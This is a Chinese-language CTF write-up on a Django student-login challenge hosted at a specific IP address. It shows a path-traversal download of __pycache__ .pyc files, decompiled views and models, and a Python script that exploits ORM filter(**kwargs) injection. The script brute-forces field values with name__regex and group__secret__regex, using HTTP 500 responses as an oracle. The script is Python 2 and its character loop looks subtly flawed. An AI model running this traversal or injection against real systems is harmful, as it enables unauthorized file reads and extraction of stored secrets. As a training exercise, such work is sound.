页面中有一个js: http://54.223.46.206:8003/static/js/login.js
发现是能够进行文件读取的(具体见: http://wooyun.jozxing.cc/static/drops/papers-5040.html ),但是对conf、py等后缀做了限制。

通过http的返回头也知道一些信息:Server:gunicorn/19.6.0 Django/1.10.3 Cpython/3.5.2
python3.x预编译文件会产生pyc
为了提高模块加载的速度,每个模块都会在 __pycache__ 文件夹中放置该模块的预编译模块,命名为module.version.pyc,version是模块的预编译版本编码,一般都包含Python的版本号。例如在CPython 发行版3.4中,fibo.py文件的预编译文件就是: __pycache__/fibo.cpython-34.pyc
一个Django的一开始的配置文件:


所以可以先从这几个文件下手。
另外还有view.py和model.py
下载pyc文件
wget 54.223.46.206:8003/static/%2e%2e/__pycache__/views.cpython-35.pyc用uncompyle6反编译pyc成py
urls.py
from django.conf.urls import url from . import views urlpatterns = [ url('^$', views.IndexView.as_view(), name='index'), url('^login/$', views.LoginView.as_view(), name='login'), url('^logout/$', views.LogoutView.as_view(), name='logout'), url('^static/(?P<path>.*)', views.StaticFilesView.as_view(), name='static')]model.py
from django.db import models class Student(models.Model): name = models.CharField('', max_length=64, unique=True) no = models.CharField('', max_length=12, unique=True) passkey = models.CharField('', max_length=32) group = models.ForeignKey('Group', verbose_name='', on_delete=models.CASCADE, null=True, blank=True) class Meta: verbose_name = '' verbose_name_plural = verbose_name def __str__(self): return self.name class Group(models.Model): name = models.CharField('', max_length=64) information = models.TextField('') secret = models.CharField('', max_length=128) created_time = models.DateTimeField('', auto_now_add=True) class Meta: verbose_name = '' verbose_name_plural = verbose_name def __str__(self): return self.nameview.py
import json import os from wsgiref.util import FileWrapper from django.shortcuts import render, redirect from django.urls import reverse_lazy from django.views import generic from django.http import JsonResponse from django.core import exceptions from django.http import HttpResponse, Http404 from django.conf import settings from django.db.models import F from . import models class RequireLoginMixin(object): login_url = reverse_lazy('students:login') def handle_no_permission(self): return redirect(self.login_url) def dispatch(self, request, *args, **kwargs): if request.session.get('is_login', None) != True: return self.handle_no_permission() return super(RequireLoginMixin, self).dispatch(request, *args, **kwargs) class JsonResponseMixin(object): def _jsondata(self, msg, status_code=200): return JsonResponse({'message': msg}, status=status_code) class LoginView(JsonResponseMixin, generic.TemplateView): template_name = 'login.html' def post(self, request, *args, **kwargs): data = json.loads(request.body.decode()) stu = models.Student.objects.filter(**data).first() if not stu or stu.passkey != data['passkey']: return self._jsondata('', 403) else: request.session['is_login'] = True return self._jsondata('', 200) class LogoutView(RequireLoginMixin, JsonResponseMixin, generic.RedirectView): url = reverse_lazy('students:login') def get(self, request, *args, **kwargs): request.session.flush() return super(LogoutView, self).get(request, *args, **kwargs) class IndexView(RequireLoginMixin, JsonResponseMixin, generic.TemplateView): template_name = 'index.html' def post(self, request, *args, **kwargs): ret = [] for group in models.Group.objects.all(): ret.append(dict(name=group.name, information=group.information, created_time=group.created_time, members=list(group.student_set.values('name', 'id').all()))) return self._jsondata(ret, status_code=200) class StaticFilesView(generic.View): content_type = 'text/plain' def get(self, request, *args, **kwargs): filename = self.kwargs['path'] filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename) name, ext = os.path.splitext(filename) if ext in ('.py', '.conf', '.sqlite3', '.yml'): raise exceptions.PermissionDenied('Permission deny') try: return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type) except BaseException as e: raise Http404('Static file not found')其中在loginView里面有个关键的地方就是
data = json.loads(request.body.decode()) stu = models.Student.objects.filter(**data).first() if not stu or stu.passkey != data['passkey']:看下官方文档:

filter是接收关键字变量参数(字典类型),**kwargs

其中filter是作为条件语句使用的,类似where,里面的参数相当于条件,多条件的时候是以and连接。这也表示where后面的条件我们是可控的。于是可以形成注入。
看下filter中的操作关键字
operators = { 'exact': '= %s', 'iexact': 'LIKE %s', 'contains': 'LIKE BINARY %s', 'icontains': 'LIKE %s', 'regex': 'REGEXP BINARY %s', 'iregex': 'REGEXP %s', 'gt': '> %s', 'gte': '>= %s', 'lt': '< %s', 'lte': '<= %s', 'startswith': 'LIKE BINARY %s', 'endswith': 'LIKE BINARY %s', 'istartswith': 'LIKE %s', 'iendswith': 'LIKE %s', }比如startswith,

if not stu or stu.passkey != data['passkey']: return self._jsondata('', 403) else: request.session['is_login'] = True return self._jsondata('', 200) filter查询有结果,但是没有data['passkey']这个值传入的话,python会报500的错误。
exp:
import requests import json url = "http://54.223.46.206:8003/login/" headers = {"Content-Type": "application/x-www-form-urlencoded"} payload = "abcdefghijklmnopqrstuvwxyz0123456789:" current_data = "" def check(current_data): temp = current_data for p in payload: temp += p data = "^%s.*" % temp post_data = "%s" % json.dumps({"name__regex": data}) r = requests.post(url,data=post_data,headers = headers) if r.status_code == 500: return p temp = current_data for k in range(80): current_data += check(current_data) print "%dth data: %s" % (k,current_data)在model.py中还有一个Group表,Student的外键就是它。
所以可以通过外键查询group的secret。
group__secret__regex
最后get flag。
